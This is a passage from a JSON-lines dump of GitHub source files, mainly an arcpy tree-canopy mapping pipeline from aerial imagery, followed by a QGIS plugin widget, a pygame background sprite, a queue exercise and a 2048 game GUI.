spatref)\n\n # clear selection\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n 'CLEAR_SELECTION')\n\n print('Completed')\n\n @__timed\n def convert_afe_to_final_tiles(self):\n '''\n This function converts AFE outputs to final TIFF files.\n '''\n phyregs_layer = self.phyregs_layer\n naipqq_layer = self.naipqq_layer\n naipqq_phyregs_field = self.naipqq_phyregs_field\n results_path = self.results_path\n snaprast_path = self.snaprast_path\n\n arcpy.env.addOutputsToMap = False\n arcpy.env.snapRaster = snaprast_path\n\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID in (%s)' % ','.join(map(str,\n self.phyreg_ids)))\n with arcpy.da.SearchCursor(phyregs_layer, ['NAME', 'PHYSIO_ID']) as cur:\n for row in cur:\n name = row[0]\n print(name)\n # CreateRandomPoints cannot create a shapefile with - in its\n # filename\n name = name.replace(' ', '_').replace('-', '_')\n phyreg_id = row[1]\n # Check and ensure that FA has classified all files.\n outdir_path = '%s/%s/Outputs' % (results_path, name)\n # Path for reprojected tiles\n inputs_path = '%s/%s/Inputs' % (results_path, name)\n\n if len(os.listdir(outdir_path)) == 0:\n continue\n # File names for all reprojected inputs\n inputs_check = [os.path.basename(x) for x in\n glob.glob(f\"{inputs_path}/rm_*.tif\")]\n # File names for all classified outputs\n output_class_check = [os.path.basename(x) for x in\n glob.glob(f\"{outdir_path}/rm_*.tif\")]\n # Check and get file names of those missing.\n missing = []\n for i in inputs_check:\n if i not in output_class_check:\n missing.append(i)\n # If any are missing then the length of each list will be\n # different. Raise I/O error and return missing file names.\n if len(inputs_check) != len(output_class_check):\n # Format the same way FA specifies batch inputs.\n missing_formated = \" \".join(missing).replace(' ', '; ')\n raise IOError(f\"Missing classified file: {missing_formated}\")\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n where_clause=\"%s like '%%,%d,%%'\" % (\n naipqq_phyregs_field, phyreg_id))\n with arcpy.da.SearchCursor(naipqq_layer, ['FileName']) as cur2:\n for row2 in sorted(cur2):\n filename = row2[0][:-13]\n rshpfile_path = '%s/r%s.shp' % (outdir_path, filename)\n rtiffile_path = '%s/r%s.tif' % (outdir_path, filename)\n frtiffile_path = '%s/fr%s.tif' % (outdir_path, filename)\n if os.path.exists(frtiffile_path):\n continue\n if os.path.exists(rshpfile_path):\n arcpy.FeatureToRaster_conversion(rshpfile_path,\n 'CLASS_ID', frtiffile_path)\n # Compare output tif cell size to snap raster\n self.__check_snap(frtiffile_path)\n elif os.path.exists(rtiffile_path):\n # Compare input tif cell size to snap raster\n self.__check_snap(rtiffile_path)\n arcpy.Reclassify_3d(rtiffile_path, 'Value',\n '1 0;2 1', frtiffile_path)\n # clear selection\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n 'CLEAR_SELECTION')\n\n print('Completed')\n\n @__timed\n def clip_final_tiles(self):\n '''\n This function clips final TIFF files.\n '''\n phyregs_layer = self.phyregs_layer\n naipqq_layer = self.naipqq_layer\n naipqq_phyregs_field = self.naipqq_phyregs_field\n results_path = self.results_path\n snaprast_path = self.snaprast_path\n\n # Get inmutiable ID's, does not need to be encoded.\n naipqq_oid_field = arcpy.Describe(naipqq_layer).OIDFieldName\n\n arcpy.env.addOutputsToMap = False\n arcpy.env.snapRaster = snaprast_path\n\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID in (%s)' % ','.join(map(str,\n self.phyreg_ids)))\n with arcpy.da.SearchCursor(phyregs_layer, ['NAME', 'PHYSIO_ID']) as cur:\n for row in cur:\n name = row[0]\n print(name)\n # CreateRandomPoints cannot create a shapefile with - in its\n # filename\n name = name.replace(' ', '_').replace('-', '_')\n phyreg_id = row[1]\n outdir_path = '%s/%s/Outputs' % (results_path, name)\n if len(os.listdir(outdir_path)) == 0:\n continue\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n where_clause=\"%s like '%%,%d,%%'\" % (\n naipqq_phyregs_field, phyreg_id))\n with arcpy.da.SearchCursor(naipqq_layer,\n [naipqq_oid_field, 'FileName']) as cur2:\n for row2 in sorted(cur2):\n oid = row2[0]\n filename = row2[1][:-13]\n frtiffile_path = '%s/fr%s.tif' % (\n outdir_path, filename)\n cfrtiffile_path = '%s/cfr%s.tif' % (\n outdir_path, filename)\n if os.path.exists(cfrtiffile_path):\n continue\n if os.path.exists(frtiffile_path):\n arcpy.SelectLayerByAttribute_management(\n naipqq_layer,\n where_clause='%s=%d' % (\n naipqq_oid_field, oid))\n out_raster = arcpy.sa.ExtractByMask(\n frtiffile_path, naipqq_layer)\n out_raster.save(cfrtiffile_path)\n # clear selection\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n 'CLEAR_SELECTION')\n\n print('Completed')\n\n @__timed\n def mosaic_clipped_final_tiles(self):\n '''\n This function mosaics clipped final TIFF files and clips mosaicked files\n to physiographic regions.\n '''\n phyregs_layer = self.phyregs_layer\n naipqq_layer = self.naipqq_layer\n naipqq_phyregs_field = self.naipqq_phyregs_field\n analysis_year = self.analysis_year\n results_path = self.results_path\n snaprast_path = self.snaprast_path\n\n arcpy.env.addOutputsToMap = False\n arcpy.env.snapRaster = snaprast_path\n\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID in (%s)' % ','.join(map(str,\n self.phyreg_ids)))\n with arcpy.da.SearchCursor(phyregs_layer, ['NAME', 'PHYSIO_ID']) as cur:\n for row in cur:\n name = row[0]\n print(name)\n # CreateRandomPoints cannot create a shapefile with - in its\n # filename\n name = name.replace(' ', '_').replace('-', '_')\n phyreg_id = row[1]\n outdir_path = '%s/%s/Outputs' % (results_path, name)\n if len(os.listdir(outdir_path)) == 0:\n continue\n canopytif_path = '%s/canopy_%d_%s.tif' % (outdir_path,\n analysis_year, name)\n if os.path.exists(canopytif_path):\n continue\n mosaictif_filename = 'mosaic_%d_%s.tif' % (analysis_year, name)\n mosaictif_path = '%s/%s' % (outdir_path, mosaictif_filename)\n if not os.path.exists(mosaictif_path):\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n where_clause=\"%s like '%%,%d,%%'\" % (\n naipqq_phyregs_field, phyreg_id))\n input_rasters = ''\n with arcpy.da.SearchCursor(naipqq_layer,\n ['FileName']) as cur2:\n for row2 in sorted(cur2):\n filename = row2[0][:-13]\n cfrtiffile_path = '%s/cfr%s.tif' % (outdir_path,\n filename)\n if not os.path.exists(cfrtiffile_path):\n input_rasters += ''\n if input_rasters is not '':\n input_rasters += ';'\n if os.path.exists(cfrtiffile_path):\n input_rasters += \"'%s'\" % cfrtiffile_path\n if input_rasters == '':\n continue\n arcpy.MosaicToNewRaster_management(input_rasters,\n outdir_path, mosaictif_filename, pixel_type='2_BIT',\n number_of_bands=1)\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID=%d' % phyreg_id)\n canopytif_raster = arcpy.sa.ExtractByMask(mosaictif_path,\n phyregs_layer)\n canopytif_raster.save(canopytif_path)\n\n # clear selection\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n 'CLEAR_SELECTION')\n\n print('Completed')\n\n @__timed\n def convert_afe_to_canopy_tif(self):\n '''\n This function is a wrapper function that converts AFE outputs to the\n final canopy TIFF file by invoking convert_afe_to_final_tiles(),\n clip_final_tiles(), and mosaic_clipped_final_tiles() in the correct\n order.\n '''\n\n self.convert_afe_to_final_tiles()\n self.clip_final_tiles()\n self.mosaic_clipped_final_tiles()\n\n @__timed\n def correct_inverted_canopy_tif(self, inverted_phyreg_ids):\n '''\n This function corrects the values of mosaikced and clipped regions that\n have been inverted with values canopy 0 and noncanopy 1, and changes\n them to canopy 1 and noncanopy 0.\n\n Parameters\n ----------\n inverted_phyreg_ids : list\n list of physiographic region IDs to process\n '''\n phyregs_layer = self.phyregs_layer\n analysis_year = self.analysis_year\n results_path = self.results_path\n snaprast_path = self.snaprast_path\n\n arcpy.env.addOutputsToMap = False\n arcpy.env.snapRaster = snaprast_path\n\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID in (%s)' % ','.join(\n map(str, inverted_phyreg_ids)))\n with arcpy.da.SearchCursor(phyregs_layer, ['NAME', 'PHYSIO_ID']) as cur:\n for row in cur:\n name = row[0]\n print(name)\n name = name.replace(' ', '_').replace('-', '_')\n phyreg_id = row[1]\n outdir_path = '%s/%s/Outputs' % (results_path, name)\n if not os.path.exists(outdir_path):\n continue\n canopytif_path = '%s/canopy_%d_%s.tif' % (outdir_path,\n analysis_year, name)\n # name of corrected regions just add corrected_ as prefix\n corrected_path = '%s/corrected_canopy_%d_%s.tif' % (\n outdir_path, analysis_year, name)\n if not os.path.exists(canopytif_path):\n continue\n if os.path.exists(corrected_path):\n continue\n if not os.path.exists(corrected_path):\n # switch 1 and 0\n corrected = 1 - arcpy.Raster(canopytif_path)\n # copy raster is used as arcpy.save does not give bit\n # options.\n arcpy.CopyRaster_management(corrected, corrected_path,\n nodata_value = '3',\n pixel_type='2_BIT')\n\n # clear selection\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n\n print('Completed')\n\n @__timed\n def convert_canopy_tif_to_shp(self):\n '''\n This function converts the canopy TIFF files to shapefile. If a region\n has been corrected for inverted values the function will convert the\n corrected TIFF to shapefile instead of the original canopy TIFF. If no\n corrected TIFF exists for a region then the original canopy TIFF will be\n converted.\n '''\n phyregs_layer = self.phyregs_layer\n analysis_year = self.analysis_year\n snaprast_path = self.snaprast_path\n results_path = self.results_path\n\n arcpy.env.addOutputsToMap = False\n arcpy.env.snapRaster = snaprast_path\n\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID in (%s)' % ','.join(\n map(str, self.phyreg_ids)))\n with arcpy.da.SearchCursor(phyregs_layer, ['NAME', 'PHYSIO_ID']) as cur:\n for row in cur:\n name = row[0]\n print(name)\n name = name.replace(' ', '_').replace('-', '_')\n phyreg_id = row[1]\n outdir_path = '%s/%s/Outputs' % (results_path, name)\n if not os.path.exists(outdir_path):\n continue\n canopytif_path = '%s/canopy_%d_%s.tif' % (outdir_path,\n analysis_year, name)\n corrected_path = '%s/corrected_canopy_%d_%s.tif' % (\n outdir_path, analysis_year, name)\n # Add shp_ as prefix to output shapefile\n canopyshp_path = '%s/shp_canopy_%d_%s.shp' % (\n outdir_path, analysis_year, name)\n if os.path.exists(canopyshp_path):\n continue\n if not os.path.exists(canopyshp_path):\n # Check for corrected inverted TIFF first\n if os.path.exists(corrected_path):\n # Do not simplify polygons, keep cell extents\n arcpy.RasterToPolygon_conversion(corrected_path,\n canopyshp_path, 'NO_SIMPLIFY', 'Value')\n # If no corrected inverted TIFF use orginial canopy TIFF\n elif os.path.exists(canopytif_path):\n # Do not simplify polygons, keep cell extents\n arcpy.RasterToPolygon_conversion(canopytif_path,\n canopyshp_path, 'NO_SIMPLIFY', 'Value')\n # Add 'Canopy' field\n arcpy.AddField_management(canopyshp_path, 'Canopy', 'SHORT',\n field_length='1')\n # Calculate 'Canopy' field\n arcpy.CalculateField_management(canopyshp_path, 'Canopy',\n '!gridcode!')\n # Remove Id and gridcode fields\n arcpy.DeleteField_management(canopyshp_path, ['Id',\n 'gridcode'])\n\n # clear selection\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n\n print('Completed')\n\n def generate_gtpoints(self, phyreg_ids, min_area_sqkm, max_area_sqkm,\n min_points, max_points):\n '''\n This function generates randomized points for ground truthing. It create\n the GT field in the output shapefile.\n\n Parameters\n ----------\n phyreg_ids : list\n list of physiographic region IDs to process\n min_area_sqkm : float\n miminum area in square kilometers\n max_area_sqkm : float\n maximum area in square kilometers\n min_points : int\n minimum number of points allowed\n max_points : int\n maximum number of points allowed\n '''\n # fix user errors, if any\n if min_area_sqkm > max_area_sqkm:\n tmp = min_area_sqkm\n min_area_sqkm = max_area_sqkm\n max_area_sqkm = tmp\n\n if min_points > max_points:\n tmp = min_points\n min_points = max_points\n max_points = tmp\n\n phyregs_layer = self.phyregs_layer\n phyregs_area_sqkm_field = self.phyregs_area_sqkm_field\n naipqq_layer = self.naipqq_layer\n spatref_wkid = self.spatref_wkid\n analysis_year = self.analysis_year\n results_path = self.results_path\n\n arcpy.env.overwriteOutput = True\n arcpy.env.addOutputsToMap = False\n arcpy.env.outputCoordinateSystem = arcpy.SpatialReference(spatref_wkid)\n\n # use configparser converter to read list\n conf = ConfigParser(converters={'list': lambda x: [int(i.strip())\n for i in x.split(',')]})\n conf.read(self.config)\n inverted_reg = conf.getlist('config', 'inverted_phyreg_ids')\n\n # make sure to clear selection because most geoprocessing tools use\n # selected features, if any\n arcpy.SelectLayerByAttribute_management(naipqq_layer, 'CLEAR_SELECTION')\n\n # select phyregs features to process\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID in (%s)' % ','.join(map(str,\n phyreg_ids)))\n with arcpy.da.SearchCursor(phyregs_layer,\n ['NAME', 'PHYSIO_ID', phyregs_area_sqkm_field]) as cur:\n for row in cur:\n name = row[0]\n print(name)\n # CreateRandomPoints cannot create a shapefile with - in its\n # filename\n\n name = name.replace(' ', '_').replace('-', '_')\n phyreg_id = row[1]\n area_sqkm = row[2]\n\n # Check if region is inverted\n if row[1] in inverted_reg:\n inverted = True\n else:\n inverted = False\n\n # +1 to count partial points; e.g., 0.1 requires one point\n point_count = int(min_points + (max_points - min_points) /\n (max_area_sqkm - min_area_sqkm) *\n (area_sqkm - min_area_sqkm) + 1)\n print('Raw point count: %d' % point_count)\n if point_count < min_points:\n point_count = min_points\n elif point_count > max_points:\n point_count = max_points\n print('Final point count: %d' % point_count)\n\n outdir_path = '%s/%s/Outputs' % (results_path, name)\n shp_filename = 'gtpoints_%d_%s.shp' % (analysis_year, name)\n\n tmp_shp_filename = 'tmp_%s' % shp_filename\n tmp_shp_path = '%s/%s' % (outdir_path, tmp_shp_filename)\n\n # create random points\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID=%d' % phyreg_id)\n arcpy.CreateRandomPoints_management(outdir_path,\n tmp_shp_filename, phyregs_layer, '', point_count)\n\n # create a new field to store data for ground truthing\n gt_field = 'GT'\n arcpy.AddField_management(tmp_shp_path, gt_field, 'SHORT')\n\n # spatially join the naip qq layer to random points to find\n # output tile filenames\n shp_path = '%s/%s' % (outdir_path, shp_filename)\n arcpy.SpatialJoin_analysis(tmp_shp_path, naipqq_layer, shp_path)\n\n # delete temporary point shapefile\n arcpy.Delete_management(tmp_shp_path)\n\n # get required fields from spatially joined point layer\n with arcpy.da.UpdateCursor(shp_path, ['SHAPE@XY', gt_field,\n 'FileName']) as cur2:\n for row2 in cur2:\n # read filename\n filename = row2[2][:-13]\n # construct the final output tile path\n cfrtiffile_path = '%s/cfr%s.tif' % (outdir_path,\n filename)\n # read the output tile as raster\n ras = arcpy.sa.Raster(cfrtiffile_path)\n # resolution\n res = (ras.meanCellWidth, ras.meanCellHeight)\n # convert raster to numpy array to read cell values\n ras_a = arcpy.RasterToNumPyArray(ras)\n # get xy values of point\n xy = row2[0]\n # perform calculate_row_column to get the row and column\n # of the point\n rc = self.__calculate_row_column(xy, ras.extent, res)\n # update the point, correct inverted region points\n if inverted is True:\n row2[1] = 1 - ras_a[rc]\n cur2.updateRow(row2)\n else:\n row2[1] = ras_a[rc]\n cur.updateRow(row2)\n\n # delete all fields except only those required\n shp_desc = arcpy.Describe(shp_path)\n oid_field = shp_desc.OIDFieldName\n shape_field = shp_desc.shapeFieldName\n\n all_fields = arcpy.ListFields(shp_path)\n required_fields = [oid_field, shape_field, gt_field]\n extra_fields = [x.name for x in all_fields\n if x.name not in required_fields]\n arcpy.DeleteField_management(shp_path, extra_fields)\n\n # clear selection again\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n\n print('Completed')\n\n def update_gtpoints(self, old_points, phyreg_ids):\n '''\n This function copies a previous years GT points and copies the\n points but with the new years GT values. It addtionally corrects the\n values if they are within an inverted region.\n\n Parameters\n ----------\n old_points : str\n Layer name for the previous years points\n phyreg_ids : list\n list of physiographic region IDs to process\n '''\n phyregs_layer = self.phyregs_layer\n naipqq_layer = self.naipqq_layer\n spatref_wkid = self.spatref_wkid\n analysis_year = self.analysis_year\n results_path = self.results_path\n\n arcpy.env.overwriteOutput = True\n arcpy.env.addOutputsToMap = False\n arcpy.env.outputCoordinateSystem = arcpy.SpatialReference(spatref_wkid)\n\n # use configparser converter to read list\n conf = ConfigParser(converters={'list': lambda x: [int(i.strip())\n for i in x.split(',')]})\n conf.read(self.config)\n inverted_reg = conf.getlist('config', 'inverted_phyreg_ids')\n\n # make sure to clear selection because most geoprocessing tools use\n # selected features, if any\n arcpy.SelectLayerByAttribute_management(naipqq_layer, 'CLEAR_SELECTION')\n\n # select phyregs features to process\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID in (%s)' % ','.join(map(str,\n phyreg_ids)))\n with arcpy.da.SearchCursor(phyregs_layer,\n ['NAME', 'PHYSIO_ID']) as cur:\n for row in cur:\n name = row[0]\n print(name)\n # CreateRandomPoints cannot create a shapefile with - in its\n # filename\n name = name.replace(' ', '_').replace('-', '_')\n phyreg_id = row[1]\n # Check if region is inverted\n if row[1] in inverted_reg:\n inverted = True\n else:\n inverted = False\n\n outdir_path = '%s/%s/Outputs' % (results_path, name)\n shp_filename = 'gtpoints_%d_%s.shp' % (analysis_year, name)\n\n tmp_shp_filename = 'tmp_%s' % shp_filename\n tmp_shp_path = '%s/%s' % (outdir_path, tmp_shp_filename)\n\n # create random points\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n where_clause='PHYSIO_ID=%d' % phyreg_id)\n\n # create a new field to store data for ground truthing\n gt_field = 'GT_%s' % analysis_year\n arcpy.CopyFeatures_management(old_points, tmp_shp_path)\n arcpy.AddField_management(tmp_shp_path, gt_field, 'SHORT')\n\n # spatially join the naip qq layer to random points to find\n # output tile filenames\n shp_path = '%s/%s' % (outdir_path, shp_filename)\n arcpy.SpatialJoin_analysis(tmp_shp_path, naipqq_layer, shp_path)\n\n # delete temporary point shapefile\n arcpy.Delete_management(tmp_shp_path)\n\n # get required fields from spatially joined point layer\n with arcpy.da.UpdateCursor(shp_path, ['SHAPE@XY', gt_field,\n 'FileName']) as cur2:\n for row2 in cur2:\n # read filename\n filename = row2[2][:-13]\n # construct the final output tile path\n cfrtiffile_path = '%s/cfr%s.tif' % (outdir_path,\n filename)\n # read the output tile as raster\n ras = arcpy.sa.Raster(cfrtiffile_path)\n # resolution\n res = (ras.meanCellWidth, ras.meanCellHeight)\n # convert raster to numpy array to read cell values\n ras_a = arcpy.RasterToNumPyArray(ras)\n # get xy values of point\n xy = row2[0]\n # perform calculate_row_column to get the row and column\n # of the point\n rc = self.__calculate_row_column(xy, ras.extent, res)\n # update the point, correct inverted region points\n if inverted is True:\n row2[1] = 1 - ras_a[rc]\n cur2.updateRow(row2)\n else:\n row2[1] = ras_a[rc]\n cur2.updateRow(row2)\n\n # delete all fields except only those required\n shp_desc = arcpy.Describe(shp_path)\n oid_field = shp_desc.OIDFieldName\n shape_field = shp_desc.shapeFieldName\n\n all_fields = arcpy.ListFields(shp_path)\n required_fields = [oid_field, shape_field, gt_field]\n extra_fields = [x.name for x in all_fields\n if x.name not in required_fields]\n arcpy.DeleteField_management(shp_path, extra_fields)\n\n # clear selection again\n arcpy.SelectLayerByAttribute_management(phyregs_layer,\n 'CLEAR_SELECTION')\n\n print('Completed')\n\n def add_naip_tiles_for_gt(self, gtpoints):\n '''\n This function adds NAIP imagery where a ground truthing point is located\n into an arcgis project. Imagery is saved as a temporary layer.\n Functional in both ArcMap & ArcGIS Pro.\n\n Parameters\n ----------\n gtpoints : str\n name of ground truthing points shapefile to add NAIP based off\n '''\n naipqq_layer = self.naipqq_layer\n naip_path = self.naip_path\n\n arcpy.SelectLayerByAttribute_management(naipqq_layer,\n 'CLEAR_SELECTION')\n arcpy.SelectLayerByLocation_management(naipqq_layer,\n 'INTERSECT', gtpoints)\n\n with arcpy.da.SearchCursor(naipqq_layer, ['FileName']) as cur:\n for row in sorted(cur):\n filename = '%s.tif' % row[0][:-13]\n folder = filename[2:7]\n infile_path = '%s/%s/%s' % (naip_path, folder, filename)\n tmp = 'in_memory/%s' % filename\n arcpy.MakeRasterLayer_management(infile_path, tmp)\n\n arcpy.SelectLayerByAttribute_management(naipqq_layer, 'CLEAR_SELECTION')\n\n print('Completed')\n\n\nclass Check_gaps:\n '''\n Object to check if gaps within in raster array are present.\n '''\n def __init__(self, arc_raster, nodata=3):\n self.region_array = arcpy.RasterToNumPyArray(arc_raster,\n nodata_to_value=nodata)\n self.nodata = nodata\n self.check(self.region_array)\n\n def __neighbors(self, arr, i, j, d=1):\n # Neighbors function adapted from ocsmit/mwinpy.git\n neighbors = arr[max(i - d, 0):min(i + d + 1, arr.shape[0]),\n max(j - d, 0):min(j + d + 1, arr.shape[1])].flatten()\n return neighbors\n\n def check(self, arr):\n # Get array i,j indices only where the value is equal to nodata.\n index_i, index_j = np.where(arr >= self.nodata)\n for i in range(len(index_i)):\n # Get 8 neighbors of cell\n n = self.__neighbors(arr, index_i[i], index_j[i])\n # Get count of values in cell\n u, c = np.unique(n, return_counts=True)\n val_dict = dict(zip(u, c))\n # If number of nodata cells is less than or equal to 2, then it\n # is a gap in the mosaic. Here, we assume single-cell-wide gaps\n # only. For example, see\n # XXXXXX XXXXXX XXXXXX\n # X....X or X..X.X or X.X..X\n # XXXXXX XXXXXX X.XX.X\n # XXXXXX\n # where X and . are non-nodata and nodata cells, respectively.\n # These nodata cells (....) are a nodata gap within non-nodata\n # cells. However, in the following case,\n # ......\n # ....XX\n # ..XXXX\n # the nodata cells are just outside the region boundary. Depending\n # on their locations, this check will fail to flag wider gaps such\n # as the following cases though:\n # XXXXXX XXXXXX\n # X....X or X.X..X\n # XX...X X..X.X\n # XXXXXX XXXXXX\n # 6 right 2 middle nodata cells unflagged\n if val_dict.get(self.nodata) <= 2:\n print(\"Gaps are present in mosaic\")\n break\n","repo_name":"HuidaeCho/canopy","sub_path":"canopy/canopy.py","file_name":"canopy.py","file_ext":"py","file_size_in_byte":52898,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"15658268325","text":"\"\"\"StackWidget for feature info and feature editing\"\"\"\nimport os\n\nfrom qgis.PyQt import uic\nimport qgis.PyQt.QtWidgets as PQtW\nimport qgis.core as QC\nimport qgis.gui as QG\nimport qgis.utils as QU\n\nimport oiv.helpers.constants as PC\nimport oiv.helpers.qt_helper as QH\nimport oiv.helpers.utils_core as UC\n\nFORM_CLASS, _ = uic.loadUiType(os.path.join(\n os.path.dirname(__file__), 'stackwidget.ui'))\n\n\nclass oivStackWidget(PQtW.QDockWidget, FORM_CLASS):\n \"\"\"open any feature form as stackwidget in OOIV pluging\"\"\"\n attributeForm = None\n parentWidget = None\n parentWidth = None\n isTekenen = False\n\n def __init__(self, parent=None):\n \"\"\"Constructor.\"\"\"\n super(oivStackWidget, self).__init__(parent)\n self.iface = QU.iface\n self.parent = parent\n self.baseWidget = self.parent.baseWidget\n self.baseWidget.done.setVisible(False)\n self.baseWidget.done_png.setVisible(False)\n self.setupUi(self)\n\n def open_feature_form(self, ilayer, ifeature):\n \"\"\"\"open feature form based on clicked object on the canvas\"\"\"\n ilayer.startEditing()\n context = QG.QgsAttributeEditorContext()\n context.setVectorLayerTools(self.iface.vectorLayerTools())\n self.attributeForm = QG.QgsAttributeForm(ilayer, ifeature, context)\n self.stackedWidget.addWidget(self.attributeForm)\n self.stackedWidget.setCurrentWidget(self.attributeForm)\n self.iface.setActiveLayer(ilayer)\n self.terug.clicked.connect(lambda: self.close_stacked(ilayer, ifeature))\n\n def close_stacked(self, ilayer, ifeature):\n \"\"\"close feature form and save changes\"\"\"\n self.attributeForm.save()\n ilayer.commitChanges()\n self.attributeForm.close()\n del self.attributeForm\n self.attributeForm = None\n if ilayer.name() == PC.OBJECT[\"objectlayername\"]:\n request = QC.QgsFeatureRequest().setFilterExpression(\"id = \" + str(ifeature[\"id\"]))\n ifeature = UC.featureRequest(ilayer, request)\n if ifeature:\n self.parent.formelenaam.setText(ifeature[\"formelenaam\"])\n if not self.isTekenen:\n self.baseWidget.done.setVisible(True)\n self.baseWidget.done_png.setVisible(True)\n self.terug.clicked.disconnect()\n self.close()\n self.parent.show_subwidget(False)\n del self\n","repo_name":"OIV-NL-QGIS/QGIS_project","sub_path":"plugin/oiv/tools/stackwidget.py","file_name":"stackwidget.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"71869308354","text":"\"\"\"\nSprite that holds background\n\"\"\"\n\nimport pygame\nfrom .vector import Vec2d\nvec = Vec2d\n\nclass BackgroundSprite(pygame.sprite.Sprite):\n def __init__(self, image):\n pygame.sprite.Sprite.__init__(self)\n self.screenSize = pygame.display.get_surface().get_size()\n self.backgroundImage = pygame.image.load(image)\n self.imageSize = self.backgroundImage.get_size()\n self.image = pygame.Surface(self.screenSize)\n self.rect = self.image.get_rect()\n self.pos = vec(0, -2*self.imageSize[1])\n self.vel = vec(0,2)\n self.updateImage()\n\n def updateImage(self):\n self.image.fill((0,0,0))\n for x in range(int(self.screenSize[0]/self.imageSize[0] + 1.0)):\n for y in range(-2, int(self.screenSize[1]/self.imageSize[1] + 3)):\n self.image.blit(self.backgroundImage,\n (self.pos.x + x*self.imageSize[0],self.pos.y + y*self.imageSize[1]))\n\n def update(self):\n self.pos += self.vel\n if self.pos.y > -self.imageSize[1]:\n self.pos = vec(0, -2 * self.imageSize[1])\n self.updateImage()\n","repo_name":"ganeshsutar/spacegame","sub_path":"scenes/objects/background.py","file_name":"background.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42231495130","text":"from collections import deque\n\ndef solution(priorities, location):\n answer = []\n queue = deque((i, j) for i, j in enumerate(priorities))\n while queue:\n process = queue.popleft()\n if queue and any(process[1] < q[1] for q in queue):\n queue.append(process)\n else:\n answer.append(process)\n \n for i in answer:\n if i[0] == location:\n return answer.index(i)+1","repo_name":"dduniverse/Algorithm","sub_path":"프로그래머스/lv2/42587. 프로세스/프로세스.py","file_name":"프로세스.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72117827075","text":"#!/usr/bin/env python\n# -*- coding: latin-1 -*-\n\"\"\"\n2048 GUI\n\"\"\"\n\n\n# Automatically modified by 'cs2both.py'\n# to run in CodeSkulptor *and* standard Python with SimpleGUICS2Pygame:\n# https://bitbucket.org/OPiMedia/simpleguics2pygame\ntry:\n import simplegui\n import codeskulptor\nexcept ImportError:\n import simpleguitk as simplegui\n import SimpleGUICS2Pygame.codeskulptor as codeskulptor\n\n\nimport math\n\n# Tile Images\nIMAGENAME = \"assets_2048.png\"\nTILE_SIZE = 100\nHALF_TILE_SIZE = TILE_SIZE / 2\nBORDER_SIZE = 45\n\n# Directions\nUP = 1\nDOWN = 2\nLEFT = 3\nRIGHT = 4\n\nclass GUI:\n \"\"\"\n Class to run game GUI.\n \"\"\"\n\n def __init__(self, game):\n self._rows = game.get_grid_height()\n self._cols = game.get_grid_width()\n self._frame = simplegui.create_frame('2048',\n self._cols * TILE_SIZE + 2 * BORDER_SIZE,\n self._rows * TILE_SIZE + 2 * BORDER_SIZE)\n self._frame.add_button('New Game', self.start)\n self._frame.set_keydown_handler(self.keydown)\n self._frame.set_draw_handler(self.draw)\n self._frame.set_canvas_background(\"#A39480\")\n self._frame.start()\n self._game = game\n url = codeskulptor.file2url(IMAGENAME)\n self._tiles = simplegui.load_image(url)\n self._directions = {\"up\": UP, \"down\": DOWN,\n \"left\": LEFT, \"right\": RIGHT}\n\n\n def keydown(self, key):\n \"\"\"\n Keydown handler\n \"\"\"\n for dirstr, dirval in self._directions.items():\n if key == simplegui.KEY_MAP[dirstr]:\n self._game.move(dirval)\n break\n\n def draw(self, canvas):\n \"\"\"\n Draw handler\n \"\"\"\n for row in range(self._rows):\n for col in range(self._cols):\n tile = self._game.get_tile(row, col)\n if tile == 0:\n val = 0\n else:\n val = int(math.log(tile, 2))\n canvas.draw_image(self._tiles,\n [HALF_TILE_SIZE + val * TILE_SIZE, HALF_TILE_SIZE],\n [TILE_SIZE, TILE_SIZE],\n [col * TILE_SIZE + HALF_TILE_SIZE + BORDER_SIZE,\n row * TILE_SIZE + HALF_TILE_SIZE + BORDER_SIZE],\n [TILE_SIZE, TILE_SIZE])\n\n def start(self):\n \"\"\"\n Start the game.\n \"\"\"\n self._game.reset()\n self._game.new_tile()\n self._game.new_tile()\n\ndef run_gui(game):\n \"\"\"\n Instantiate and run the GUI.\n \"\"\"\n gui = GUI(game)\n gui.start()\n","repo_name":"yusong-shen/POC_miniProject1","sub_path":"poc_2048_gui.py","file_name":"poc_2048_gui.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"7522546244","text":"import os\nimport requests\nimport logging\nfrom progress.bar import 